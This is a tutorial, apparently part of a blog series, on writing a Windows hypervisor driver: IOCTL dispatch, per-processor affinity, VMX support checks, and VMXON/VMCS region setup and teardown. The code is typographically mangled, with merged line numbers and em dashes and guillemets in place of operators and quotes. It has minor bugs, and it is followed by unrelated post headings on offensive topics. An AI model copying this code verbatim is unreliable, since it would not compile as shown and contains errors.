As long as I know, there are several methods by which you can dispatch IOCTL e.g METHOD_BUFFERED, METHOD_NIETHER, METHOD_IN_DIRECT, METHOD_OUT_DIRECT. These methods should be followed by the user-mode caller (the difference are in the place where buffers transfer between user-mode and kernel-mode or vice versa), I just copy the implementations with some minor modification form Microsoft’s Windows Driver Samples, you can see the full code for user-mode and kernel-mode.

Imagine we have the following IOCTL codes:

12345678910111213141516171819

//// Device type — in the «User Defined» range.»//#define SIOCTL_TYPE 40000 //// The IOCTL function codes from 0x800 to 0xFFF are for customer use.//#define IOCTL_SIOCTL_METHOD_IN_DIRECT \ CTL_CODE( SIOCTL_TYPE, 0x900, METHOD_IN_DIRECT, FILE_ANY_ACCESS ) #define IOCTL_SIOCTL_METHOD_OUT_DIRECT \ CTL_CODE( SIOCTL_TYPE, 0x901, METHOD_OUT_DIRECT , FILE_ANY_ACCESS ) #define IOCTL_SIOCTL_METHOD_BUFFERED \ CTL_CODE( SIOCTL_TYPE, 0x902, METHOD_BUFFERED, FILE_ANY_ACCESS ) #define IOCTL_SIOCTL_METHOD_NEITHER \ CTL_CODE( SIOCTL_TYPE, 0x903, METHOD_NEITHER , FILE_ANY_ACCESS )

There is a convention for defining IOCTLs as it mentioned here,

The IOCTL is a 32-bit number. The first two low bits define the “transfer type” which can be METHOD_OUT_DIRECT, METHOD_IN_DIRECT, METHOD_BUFFERED or METHOD_NEITHER.

The next set of bits from 2 to 13 define the “Function Code”. The high bit is referred to as the “custom bit”. This is used to determine user-defined IOCTLs versus system defined. This means that function codes 0x800 and greater are customs defined similarly to how WM_USER works for Windows Messages.

The next two bits define the access required to issue the IOCTL. This is how the I/O Manager can reject IOCTL requests if the handle has not been opened with the correct access. The access types are such as FILE_READ_DATA and FILE_WRITE_DATA for example.

The last bits represent the device type the IOCTLs are written for. The high bit again represents user-defined values.

In IOCTL Dispatcher, The “Parameters.DeviceIoControl.IoControlCode” of the IO_STACK_LOCATIONcontains the IOCTL code being invoked.

For METHOD_IN_DIRECT and METHOD_OUT_DIRECT, the difference between IN and OUT is that with IN, you can use the output buffer to pass in data while the OUT is only used to return data.

The METHOD_BUFFERED is a buffer that the data is copied from this buffer. The buffer is created as the larger of the two sizes, the input or output buffer. Then the read buffer is copied to this new buffer. Before you return, you simply copy the return data into the same buffer. The return value is put into the IO_STATUS_BLOCK and the I/O Manager copies the data into the output buffer. The METHOD_NEITHERis the same.

Ok, let’s see an example :

First, we declare all our needed variable.

Note that the PAGED_CODE macro ensures that the calling thread is running at an IRQL that is low enough to permit paging.

123456789101112131415161718192021222324252627

NTSTATUS DrvIOCTLDispatcher( PDEVICE_OBJECT DeviceObject, PIRP Irp){ PIO_STACK_LOCATION irpSp;// Pointer to current stack location NTSTATUS ntStatus = STATUS_SUCCESS;// Assume success ULONG inBufLength; // Input buffer length ULONG outBufLength; // Output buffer length PCHAR inBuf, outBuf; // pointer to Input and output buffer PCHAR data = «This String is from Device Driver !!!»; size_t datalen = strlen(data) + 1;//Length of data including null PMDL mdl = NULL; PCHAR buffer = NULL; UNREFERENCED_PARAMETER(DeviceObject); PAGED_CODE(); irpSp = IoGetCurrentIrpStackLocation(Irp); inBufLength = irpSp->Parameters.DeviceIoControl.InputBufferLength; outBufLength = irpSp->Parameters.DeviceIoControl.OutputBufferLength; if (!inBufLength || !outBufLength) { ntStatus = STATUS_INVALID_PARAMETER; goto End; } …

Then we have to use switch-case through the IOCTLs (Just copy buffers and show it from DbgPrint()).

123456789101112131415161718

switch (irpSp->Parameters.DeviceIoControl.IoControlCode) { case IOCTL_SIOCTL_METHOD_BUFFERED: DbgPrint(«Called IOCTL_SIOCTL_METHOD_BUFFERED\n»); PrintIrpInfo(Irp); inBuf = Irp->AssociatedIrp.SystemBuffer; outBuf = Irp->AssociatedIrp.SystemBuffer; DbgPrint(«\tData from User :»); DbgPrint(inBuf); PrintChars(inBuf, inBufLength); RtlCopyBytes(outBuf, data, outBufLength); DbgPrint((«\tData to User : «)); PrintChars(outBuf, datalen); Irp->IoStatus.Information = (outBufLength < datalen ? outBufLength : datalen); break; …

The PrintIrpInfo is like this :

123456789101112131415161718

VOID PrintIrpInfo(PIRP Irp){ PIO_STACK_LOCATION irpSp; irpSp = IoGetCurrentIrpStackLocation(Irp); PAGED_CODE(); DbgPrint(«\tIrp->AssociatedIrp.SystemBuffer = 0x%p\n», Irp->AssociatedIrp.SystemBuffer); DbgPrint(«\tIrp->UserBuffer = 0x%p\n», Irp->UserBuffer); DbgPrint(«\tirpSp->Parameters.DeviceIoControl.Type3InputBuffer = 0x%p\n», irpSp->Parameters.DeviceIoControl.Type3InputBuffer); DbgPrint(«\tirpSp->Parameters.DeviceIoControl.InputBufferLength = %d\n», irpSp->Parameters.DeviceIoControl.InputBufferLength); DbgPrint(«\tirpSp->Parameters.DeviceIoControl.OutputBufferLength = %d\n», irpSp->Parameters.DeviceIoControl.OutputBufferLength); return;}

Even though you can see all the implementations in my GitHub but that’s enough, in the rest of the post we only use the IOCTL_SIOCTL_METHOD_BUFFERED method.

Now from user-mode and if you remember from the previous part where we create a handle (HANDLE) using CreateFile, now we can use the DeviceIoControl to call DrvIOCTLDispatcher(IRP_MJ_DEVICE_CONTROL) along with our parameters from user-mode.

1234567891011121314151617181920212223242526272829

char OutputBuffer[1000]; char InputBuffer[1000]; ULONG bytesReturned; BOOL Result; StringCbCopy(InputBuffer, sizeof(InputBuffer), «This String is from User Application; using METHOD_BUFFERED»); printf(«\nCalling DeviceIoControl METHOD_BUFFERED:\n»); memset(OutputBuffer, 0, sizeof(OutputBuffer)); Result = DeviceIoControl(handle, (DWORD)IOCTL_SIOCTL_METHOD_BUFFERED, &InputBuffer, (DWORD)strlen(InputBuffer) + 1, &OutputBuffer, sizeof(OutputBuffer), &bytesReturned, NULL ); if (!Result) { printf(«Error in DeviceIoControl : %d», GetLastError()); return 1; } printf(» OutBuffer (%d): %s\n», bytesReturned, OutputBuffer);

There is an old, yet great topic here which describes the different types of IOCT dispatching.

I think we’re done with WDK basics, its time to see how we can use Windows in order to build our VMM.

Per Processor Configuration and Setting Affinity

Affinity to a special logical processor is one of the main things that we should consider when working with the hypervisor.

Unfortunately, in Windows, there is nothing like on_each_cpu (like it is in Linux Kernel Module) so we have to change our affinity manually in order to run on each logical processor. In my Intel Core i7 6820HQ I have 4 physical cores and each core can run 2 threads simultaneously (due to the presence of hyper-threading) thus we have 8 logical processors and of course 8 sets of all the registers (including general purpose registers and MSR registers) so we should configure our VMM to work on 8 logical processors.

To get the count of logical processors you can use KeQueryActiveProcessors(), then we should pass a KAFFINITY mask to the KeSetSystemAffinityThread which sets the system affinity of the current thread.

KAFFINITY mask can be configured using a simple power function :

1234567891011121314151617

int ipow(int base, int exp) { int result = 1; for (;;) { if ( exp & 1) { result *= base; } exp >>= 1; if (!exp) { break; } base *= base; } return result;}

then we should use the following code in order to change the affinity of the processor and run our code in all the logical cores separately:

12345678910

KAFFINITY kAffinityMask; for (size_t i = 0; i < KeQueryActiveProcessors(); i++) { kAffinityMask = ipow(2, i); KeSetSystemAffinityThread(kAffinityMask); DbgPrint(«=====================================================»); DbgPrint(«Current thread is executing in %d th logical processor.»,i); // Put you function here ! }

Conversion between the physical and virtual addresses

VMXON Regions and VMCS Regions (see below) use physical address as the operand to VMXON and VMPTRLD instruction so we should create functions to convert Virtual Address to Physical address:

1234	UINT64 VirtualAddress_to_PhysicallAddress(void* va){ return MmGetPhysicalAddress(va).QuadPart;}

And as long as we can’t directly use physical addresses for our modifications in protected-mode then we have to convert physical address to virtual address.

1234567

UINT64 PhysicalAddress_to_VirtualAddress(UINT64 pa){ PHYSICAL_ADDRESS PhysicalAddr; PhysicalAddr.QuadPart = pa; return MmGetVirtualForPhysical(PhysicalAddr);}

Query about Hypervisor from the kernel

In the previous part, we query about the presence of hypervisor from user-mode, but we should consider checking about hypervisor from kernel-mode too. This reduces the possibility of getting kernel errors in the future or there might be something that disables the hypervisor using the lock bit, by the way, the following code checks IA32_FEATURE_CONTROL MSR (MSR address 3AH) to see if the lock bitis set or not.

123456789101112131415161718192021222324252627

BOOLEAN Is_VMX_Supported(){ CPUID data = { 0 }; // VMX bit __cpuid((int*)&data, 1); if ((data.ecx & (1 << 5)) == 0) return FALSE; IA32_FEATURE_CONTROL_MSR Control = { 0 }; Control.All = __readmsr(MSR_IA32_FEATURE_CONTROL); // BIOS lock check if (Control.Fields.Lock == 0) { Control.Fields.Lock = TRUE; Control.Fields.EnableVmxon = TRUE; __writemsr(MSR_IA32_FEATURE_CONTROL, Control.All); } else if (Control.Fields.EnableVmxon == FALSE) { DbgPrint(«[*] VMX locked off in BIOS»); return FALSE; } return TRUE;}

The structures used in the above function declared like this:

1234567891011121314151617181920212223

typedef union _IA32_FEATURE_CONTROL_MSR{ ULONG64 All; struct { ULONG64 Lock : 1; // [0] ULONG64 EnableSMX : 1; // [1] ULONG64 EnableVmxon : 1; // [2] ULONG64 Reserved2 : 5; // [3-7] ULONG64 EnableLocalSENTER : 7; // [8-14] ULONG64 EnableGlobalSENTER : 1; // [15] ULONG64 Reserved3a : 16; // ULONG64 Reserved3b : 32; // [16-63] } Fields;} IA32_FEATURE_CONTROL_MSR, *PIA32_FEATURE_CONTROL_MSR; typedef struct _CPUID{ int eax; int ebx; int ecx; int edx;} CPUID, *PCPUID;

VMXON Region

Before executing VMXON, software should allocate a naturally aligned 4-KByte region of memory that a logical processor may use to support VMX operation. This region is called the VMXON region. The address of the VMXON region (the VMXON pointer) is provided in an operand to VMXON.

A VMM can (should) use different VMXON Regions for each logical processor otherwise the behavior is “undefined”.

Note: The first processors to support VMX operation require that the following bits be 1 in VMX operation: CR0.PE, CR0.NE, CR0.PG, and CR4.VMXE. The restrictions on CR0.PE and CR0.PG imply that VMX operation is supported only in paged protected mode (including IA-32e mode). Therefore, the guest software cannot be run in unpaged protected mode or in real-address mode.

Now that we are configuring the hypervisor, we should have a global variable that describes the state of our virtual machine, I create the following structure for this purpose, currently, we just have two fields (VMXON_REGION and VMCS_REGION) but we will add new fields in this structure in the future parts.

12345

typedef struct _VirtualMachineState{ UINT64 VMXON_REGION; // VMXON region UINT64 VMCS_REGION; // VMCS region} VirtualMachineState, *PVirtualMachineState;

And of course a global variable:

1	extern PVirtualMachineState vmState;

I create the following function (in memory.c) to allocate VMXON Region and execute VMXON instruction using the allocated region’s pointer.

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162

BOOLEAN Allocate_VMXON_Region(IN PVirtualMachineState vmState){ // at IRQL > DISPATCH_LEVEL memory allocation routines don’t work if (KeGetCurrentIrql() > DISPATCH_LEVEL) KeRaiseIrqlToDpcLevel(); PHYSICAL_ADDRESS PhysicalMax = { 0 }; PhysicalMax.QuadPart = MAXULONG64; int VMXONSize = 2 * VMXON_SIZE; BYTE* Buffer = MmAllocateContiguousMemory(VMXONSize + ALIGNMENT_PAGE_SIZE, PhysicalMax); // Allocating a 4-KByte Contigous Memory region PHYSICAL_ADDRESS Highest = { 0 }, Lowest = { 0 }; Highest.QuadPart = ~0; //BYTE* Buffer = MmAllocateContiguousMemorySpecifyCache(VMXONSize + ALIGNMENT_PAGE_SIZE, Lowest, Highest, Lowest, MmNonCached); if (Buffer == NULL) { DbgPrint(«[*] Error : Couldn’t Allocate Buffer for VMXON Region.»); return FALSE;// ntStatus = STATUS_INSUFFICIENT_RESOURCES; } UINT64 PhysicalBuffer = VirtualAddress_to_PhysicallAddress(Buffer); // zero-out memory RtlSecureZeroMemory(Buffer, VMXONSize + ALIGNMENT_PAGE_SIZE); UINT64 alignedPhysicalBuffer = (BYTE*)((ULONG_PTR)(PhysicalBuffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); UINT64 alignedVirtualBuffer = (BYTE*)((ULONG_PTR)(Buffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); DbgPrint(«[*] Virtual allocated buffer for VMXON at %llx», Buffer); DbgPrint(«[*] Virtual aligned allocated buffer for VMXON at %llx», alignedVirtualBuffer); DbgPrint(«[*] Aligned physical buffer allocated for VMXON at %llx», alignedPhysicalBuffer); // get IA32_VMX_BASIC_MSR RevisionId IA32_VMX_BASIC_MSR basic = { 0 }; basic.All = __readmsr(MSR_IA32_VMX_BASIC); DbgPrint(«[*] MSR_IA32_VMX_BASIC (MSR 0x480) Revision Identifier %llx», basic.Fields.RevisionIdentifier); //* (UINT64 *)alignedVirtualBuffer = 04; //Changing Revision Identifier *(UINT64 *)alignedVirtualBuffer = basic.Fields.RevisionIdentifier; int status = __vmx_on(&alignedPhysicalBuffer); if (status) { DbgPrint(«[*] VMXON failed with status %d\n», status); return FALSE; } vmState->VMXON_REGION = alignedPhysicalBuffer; return TRUE;}

Let’s explain the above function,

123	// at IRQL > DISPATCH_LEVEL memory allocation routines don’t work if (KeGetCurrentIrql() > DISPATCH_LEVEL) KeRaiseIrqlToDpcLevel();

This code is for changing current IRQL Level to DISPATCH_LEVEL but we can ignore this code as long as we use MmAllocateContiguousMemory but if you want to use another type of memory for your VMXON region you should use MmAllocateContiguousMemorySpecifyCache (commented), other types of memory you can use can be found here.

Note that to ensure proper behavior in VMX operation, you should maintain the VMCS region and related structures in writeback cacheable memory. Alternatively, you may map any of these regions or structures with the UC memory type. Doing so is strongly discouraged unless necessary as it will cause the performance of transitions using those structures to suffer significantly.

Write-back is a storage method in which data is written into the cache every time a change occurs, but is written into the corresponding location in main memory only at specified intervals or under certain conditions. Being cachable or not cachable can be determined from the cache disable bit in paging structures (PTE).

By the way, we should allocate 8192 Byte because there is no guarantee that Windows allocates the aligned memory so we can find a piece of 4096 Bytes aligned in 8196 Bytes. (by aligning I mean, the physical address should be divisible by 4096 without any reminder).

In my experience, the MmAllocateContiguousMemory allocation is always aligned, maybe it is because every page in PFN are allocated by 4096 bytes and as long as we need 4096 Bytes, then it’s aligned.

If you are interested in Page Frame Number (PFN) then you can read Inside Windows Page Frame Number (PFN) – Part 1 and Inside Windows Page Frame Number (PFN) – Part 2.

123456789

PHYSICAL_ADDRESS PhysicalMax = { 0 }; PhysicalMax.QuadPart = MAXULONG64; int VMXONSize = 2 * VMXON_SIZE; BYTE* Buffer = MmAllocateContiguousMemory(VMXONSize, PhysicalMax); // Allocating a 4-KByte Contigous Memory region if (Buffer == NULL) { DbgPrint(«[*] Error : Couldn’t Allocate Buffer for VMXON Region.»); return FALSE;// ntStatus = STATUS_INSUFFICIENT_RESOURCES; }

Now we should convert the address of the allocated memory to its physical address and make sure it’s aligned.

Memory that MmAllocateContiguousMemory allocates is uninitialized. A kernel-mode driver must first set this memory to zero. Now we should use RtlSecureZeroMemory for this case.

12345678910

UINT64 PhysicalBuffer = VirtualAddress_to_PhysicallAddress(Buffer); // zero-out memory RtlSecureZeroMemory(Buffer, VMXONSize + ALIGNMENT_PAGE_SIZE); UINT64 alignedPhysicalBuffer = (BYTE*)((ULONG_PTR)(PhysicalBuffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); UINT64 alignedVirtualBuffer = (BYTE*)((ULONG_PTR)(Buffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); DbgPrint(«[*] Virtual allocated buffer for VMXON at %llx», Buffer); DbgPrint(«[*] Virtual aligned allocated buffer for VMXON at %llx», alignedVirtualBuffer); DbgPrint(«[*] Aligned physical buffer allocated for VMXON at %llx», alignedPhysicalBuffer);

From Intel’s manual (24.11.5 VMXON Region ):

Before executing VMXON, software should write the VMCS revision identifier to the VMXON region. (Specifically, it should write the 31-bit VMCS revision identifier to bits 30:0 of the first 4 bytes of the VMXON region; bit 31 should be cleared to 0.)
It need not initialize the VMXON region in any other way. Software should use a separate region for each logical processor and should not access or modify the VMXON region of a logical processor between the execution of VMXON and VMXOFF on that logical processor. Doing otherwise may lead to unpredictable behavior.

So let’s get the Revision Identifier from IA32_VMX_BASIC_MSR and write it to our VMXON Region.

1234567891011

// get IA32_VMX_BASIC_MSR RevisionId IA32_VMX_BASIC_MSR basic = { 0 }; basic.All = __readmsr(MSR_IA32_VMX_BASIC); DbgPrint(«[*] MSR_IA32_VMX_BASIC (MSR 0x480) Revision Identifier %llx», basic.Fields.RevisionIdentifier); //Changing Revision Identifier *(UINT64 *)alignedVirtualBuffer = basic.Fields.RevisionIdentifier;

The last part is used for executing VMXON instruction.

12345678910

int status = __vmx_on(&alignedPhysicalBuffer); if (status) { DbgPrint(«[*] VMXON failed with status %d\n», status); return FALSE; } vmState->VMXON_REGION = alignedPhysicalBuffer; return TRUE;

__vmx_on is the intrinsic function for executing VMXON. The status code shows diffrenet meanings.

Value	Meaning
0	The operation succeeded.
1	The operation failed with extended status available in the `VM-instruction error field` of the current VMCS.
2	The operation failed without status available.

If we set the VMXON Region using VMXON and it fails then status = 1. If there isn’t any VMCS the status =2 and if the operation was successful then status =0.

If you execute the above code twice without executing VMXOFF then you definitely get errors.

Now, our VMXON Region is ready and we’re good to go.

Virtual-Machine Control Data Structures (VMCS)

A logical processor uses virtual-machine control data structures (VMCSs) while it is in VMX operation. These manage transitions into and out of VMX non-root operation (VM entries and VM exits) as well as processor behavior in VMX non-root operation. This structure is manipulated by the new instructions VMCLEAR, VMPTRLD, VMREAD, and VMWRITE.

The above picture illustrates the lifecycle VMX operation on VMCS Region.

Initializing VMCS Region

A VMM can (should) use different VMCS Regions so you need to set logical processor affinity and run you initialization routine multiple times.

The location where the VMCS located is called “VMCS Region”.

VMCS Region is a

4 Kbyte (bits 11:0 must be zero)
Must be aligned to the 4KB boundary

This pointer must not set bits beyond the processor’s physical-address width (Software can determine a processor’s physical-address width by executing CPUID with 80000008H in EAX. The physical-address width is returned in bits 7:0 of EAX.)

There might be several VMCSs simultaneously in a processor but just one of them is currently active and the VMLAUNCH, VMREAD, VMRESUME, and VMWRITE instructions operate only on the current VMCS.

Using VMPTRLD sets the current VMCS on a logical processor.

The memory operand of the VMCLEAR instruction is also the address of a VMCS. After execution of the instruction, that VMCS is neither active nor current on the logical processor. If the VMCS had been current on the logical processor, the logical processor no longer has a current VMCS.

VMPTRST is responsible to give the current VMCS pointer it stores the value FFFFFFFFFFFFFFFFH if there is no current VMCS.

The launch state of a VMCS determines which VM-entry instruction should be used with that VMCS. The VMLAUNCH instruction requires a VMCS whose launch state is “clear”; the VMRESUME instruction requires a VMCS whose launch state is “launched”. A logical processor maintains a VMCS’s launch state in the corresponding VMCS region.

If the launch state of the current VMCS is “clear”, successful execution of the VMLAUNCH instruction changes the launch state to “launched”.

The memory operand of the VMCLEAR instruction is the address of a VMCS. After execution of the instruction, the launch state of that VMCS is “clear”.

There are no other ways to modify the launch state of a VMCS (it cannot be modified using VMWRITE) and there is no direct way to discover it (it cannot be read using VMREAD).

The following picture illustrates the contents of a VMCS Region.

The following code is responsible for allocating VMCS Region :

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061

BOOLEAN Allocate_VMCS_Region(IN PVirtualMachineState vmState){ // at IRQL > DISPATCH_LEVEL memory allocation routines don’t work if (KeGetCurrentIrql() > DISPATCH_LEVEL) KeRaiseIrqlToDpcLevel(); PHYSICAL_ADDRESS PhysicalMax = { 0 }; PhysicalMax.QuadPart = MAXULONG64; int VMCSSize = 2 * VMCS_SIZE; BYTE* Buffer = MmAllocateContiguousMemory(VMCSSize + ALIGNMENT_PAGE_SIZE, PhysicalMax); // Allocating a 4-KByte Contigous Memory region PHYSICAL_ADDRESS Highest = { 0 }, Lowest = { 0 }; Highest.QuadPart = ~0; //BYTE* Buffer = MmAllocateContiguousMemorySpecifyCache(VMXONSize + ALIGNMENT_PAGE_SIZE, Lowest, Highest, Lowest, MmNonCached); UINT64 PhysicalBuffer = VirtualAddress_to_PhysicallAddress(Buffer); if (Buffer == NULL) { DbgPrint(«[*] Error : Couldn’t Allocate Buffer for VMCS Region.»); return FALSE;// ntStatus = STATUS_INSUFFICIENT_RESOURCES; } // zero-out memory RtlSecureZeroMemory(Buffer, VMCSSize + ALIGNMENT_PAGE_SIZE); UINT64 alignedPhysicalBuffer = (BYTE*)((ULONG_PTR)(PhysicalBuffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); UINT64 alignedVirtualBuffer = (BYTE*)((ULONG_PTR)(Buffer + ALIGNMENT_PAGE_SIZE — 1) &~(ALIGNMENT_PAGE_SIZE — 1)); DbgPrint(«[*] Virtual allocated buffer for VMCS at %llx», Buffer); DbgPrint(«[*] Virtual aligned allocated buffer for VMCS at %llx», alignedVirtualBuffer); DbgPrint(«[*] Aligned physical buffer allocated for VMCS at %llx», alignedPhysicalBuffer); // get IA32_VMX_BASIC_MSR RevisionId IA32_VMX_BASIC_MSR basic = { 0 }; basic.All = __readmsr(MSR_IA32_VMX_BASIC); DbgPrint(«[*] MSR_IA32_VMX_BASIC (MSR 0x480) Revision Identifier %llx», basic.Fields.RevisionIdentifier); //Changing Revision Identifier *(UINT64 *)alignedVirtualBuffer = basic.Fields.RevisionIdentifier; int status = __vmx_vmptrld(&alignedPhysicalBuffer); if (status) { DbgPrint(«[*] VMCS failed with status %d\n», status); return FALSE; } vmState->VMCS_REGION = alignedPhysicalBuffer; return TRUE;}

The above code is exactly the same as VMXON Region except for __vmx_vmptrld instead of __vmx_on, __vmx_vmptrld is the intrinsic function for VMPTRLD instruction.

In VMCS also we should find the Revision Identifier from MSR_IA32_VMX_BASIC and write in VMCS Region before executing VMPTRLD.

The MSR_IA32_VMX_BASIC is defined as below.

123456789101112131415161718

typedef union _IA32_VMX_BASIC_MSR{ ULONG64 All; struct { ULONG32 RevisionIdentifier : 31; // [0-30] ULONG32 Reserved1 : 1; // [31] ULONG32 RegionSize : 12; // [32-43] ULONG32 RegionClear : 1; // [44] ULONG32 Reserved2 : 3; // [45-47] ULONG32 SupportedIA64 : 1; // [48] ULONG32 SupportedDualMoniter : 1; // [49] ULONG32 MemoryType : 4; // [50-53] ULONG32 VmExitReport : 1; // [54] ULONG32 VmxCapabilityHint : 1; // [55] ULONG32 Reserved3 : 8; // [56-63] } Fields;} IA32_VMX_BASIC_MSR, *PIA32_VMX_BASIC_MSR;

VMXOFF

After configuring the above regions, now its time to think about DrvClose when the handle to the driver is no longer maintained by the user-mode application. At this time, we should terminate VMX and free every memory that we allocated before.

The following function is responsible for executing VMXOFF then calling to MmFreeContiguousMemoryin order to free the allocated memory :

123456789101112131415161718192021

void Terminate_VMX(void) { DbgPrint(«\n[*] Terminating VMX…\n»); KAFFINITY kAffinityMask; for (size_t i = 0; i < ProcessorCounts; i++) { kAffinityMask = ipow(2, i); KeSetSystemAffinityThread(kAffinityMask); DbgPrint(«\t\tCurrent thread is executing in %d th logical processor.», i); __vmx_off(); MmFreeContiguousMemory(PhysicalAddress_to_VirtualAddress(vmState[i].VMXON_REGION)); MmFreeContiguousMemory(PhysicalAddress_to_VirtualAddress(vmState[i].VMCS_REGION)); } DbgPrint(«[*] VMX Operation turned off successfully. \n»); }

Keep in mind to convert VMXON and VMCS Regions to virtual address because MmFreeContiguousMemory accepts VA, otherwise, it leads to a BSOD.

Ok, It’s almost done!

Testing our VMM

Let’s create a test case for our code, first a function for Initiating VMXON and VMCS Regions through all logical processor.

1234567891011121314151617181920212223242526272829303132333435363738

PVirtualMachineState vmState;int ProcessorCounts; PVirtualMachineState Initiate_VMX(void) { if (!Is_VMX_Supported()) { DbgPrint(«[*] VMX is not supported in this machine !»); return NULL; } ProcessorCounts = KeQueryActiveProcessorCount(0); vmState = ExAllocatePoolWithTag(NonPagedPool, sizeof(VirtualMachineState)* ProcessorCounts, POOLTAG); DbgPrint(«\n=====================================================\n»); KAFFINITY kAffinityMask; for (size_t i = 0; i < ProcessorCounts; i++) { kAffinityMask = ipow(2, i); KeSetSystemAffinityThread(kAffinityMask); // do st here ! DbgPrint(«\t\tCurrent thread is executing in %d th logical processor.», i); Enable_VMX_Operation(); // Enabling VMX Operation DbgPrint(«[*] VMX Operation Enabled Successfully !»); Allocate_VMXON_Region(&vmState[i]); Allocate_VMCS_Region(&vmState[i]); DbgPrint(«[*] VMCS Region is allocated at ===============> %llx», vmState[i].VMCS_REGION); DbgPrint(«[*] VMXON Region is allocated at ===============> %llx», vmState[i].VMXON_REGION); DbgPrint(«\n=====================================================\n»); }}

The above function should be called from IRP MJ CREATE so let’s modify our DrvCreate to :

123456789101112131415

NTSTATUS DrvCreate(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ DbgPrint(«[*] DrvCreate Called !»); if (Initiate_VMX()) { DbgPrint(«[*] VMX Initiated Successfully.»); } Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS;}

And modify DrvClose to :

12345678910111213

NTSTATUS DrvClose(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp){ DbgPrint(«[*] DrvClose Called !»); // executing VMXOFF on every logical processor Terminate_VMX(); Irp->IoStatus.Status = STATUS_SUCCESS; Irp->IoStatus.Information = 0; IoCompleteRequest(Irp, IO_NO_INCREMENT); return STATUS_SUCCESS;}

Now, run the code, In the case of creating the handle (You can see that our regions allocated successfully).

And when we call CloseHandle from user mode:

Source code

The source code of this part of the tutorial is available on my GitHub.

Conclusion

In this part we learned about different types of IOCTL Dispatching, then we see different functions in Windows to manage our hypervisor VMM and we initialized the VMXON Regions and VMCS Regions then we terminate them.

In the future part, we’ll focus on VMCS and different actions that can be performed in VMCS Regions in order to control our guest software.

References

[1] Intel® 64 and IA-32 architectures software developer’s manual combined volumes 3 (https://software.intel.com/en-us/articles/intel-sdm)

[2] Windows Driver Samples (https://github.com/Microsoft/Windows-driver-samples)

[3] Driver Development Part 2: Introduction to Implementing IOCTLs (https://www.codeproject.com/Articles/9575/Driver-Development-Part-2-Introduction-to-Implemen)

[3] Hyperplatform (https://github.com/tandasat/HyperPlatform)

[4] PAGED_CODE macro (https://technet.microsoft.com/en-us/ff558773(v=vs.96))

[5] HVPP (https://github.com/wbenny/hvpp)

[6] HyperBone Project (https://github.com/DarthTon/HyperBone)

[7] Memory Caching Types (https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/ne-wdm-_memory_caching_type)

[8] What is write-back cache? (https://whatis.techtarget.com/definition/write-back)

ASM for x64

Calling convention

Function calling example

Exploitation

NULL byte problem

Conclusion

From ASCII to Unicode

Hacking Unicode Case Mapping Collision

Automated verification of Business Logic flaws in source code

CONDITION #1 : Attacker controlled vector (email) with unicode in local part is case folded and then passed to database validation routine

CONDITION #2 : If condition #1 passes, a reset token of a registered user is sent to attacker controlled email (with embedded unicode character)

Safe Coding to prevent this business logic flaw

What Is It?

When To Use:

Process Walkthrough:

Constrained Delegation

What Is It?

When To Use:

Process Walkthrough:

Resource-Based Constrained Delegation

What Is It?

Note: Microsoft is releasing an update in January 2020 that will enable LDAP channel binding & LDAP signing by default on Windows systems, remediating this potential attack vector on fully patched systems.

When To Use:

Process Walkthrough:

BOUNDARY CONDITIONS

DISCLOSURE TIMELINE

POSSIBLE COUNTERMEASURES

SIDE NOTE

Introduction

Use after free mitigations

Exploitability & Servicing

MemGC [Edge & IE11]

Memory Protector [IE10 and below]

Triaging crashes

Memory protector

Example crash

Checking stack reference locations with MP

MemGC

Conclusions

Acknowledgments

LAPS Overview:

Components of LAPS:

Reconnaissance:

Dumping LAPS password:

Poisoning AdmPwd.dll:

Dectection/Prevention:

Modifying searchFlags attribute:

Detection/Prevention:

References:

Challenge description

Challenge resolution

Introduction

Table of contents

VMX Instructions

VMPTRST

VMCLER

VMPTRLD

Enhancing VM State Structure

Preparing to launch VM

Saving a return point

Returning to the previous state

VMLAUNCH

VMX Controls

VM-Execution Controls

VM-entry Control Bits

VM-exit Control Bits

PIN-Based Execution Control

Interruptibility State

Configuring VMCS

Gathering Machine state for VMCS

Setting up VMCS

Checking VMCS Layout

VM-Exit Handler

Resume to next instruction

VMRESUME

Let’s Test it !

Conclusion

References

Introduction

Software-assisted paging (Shadow Page Tables)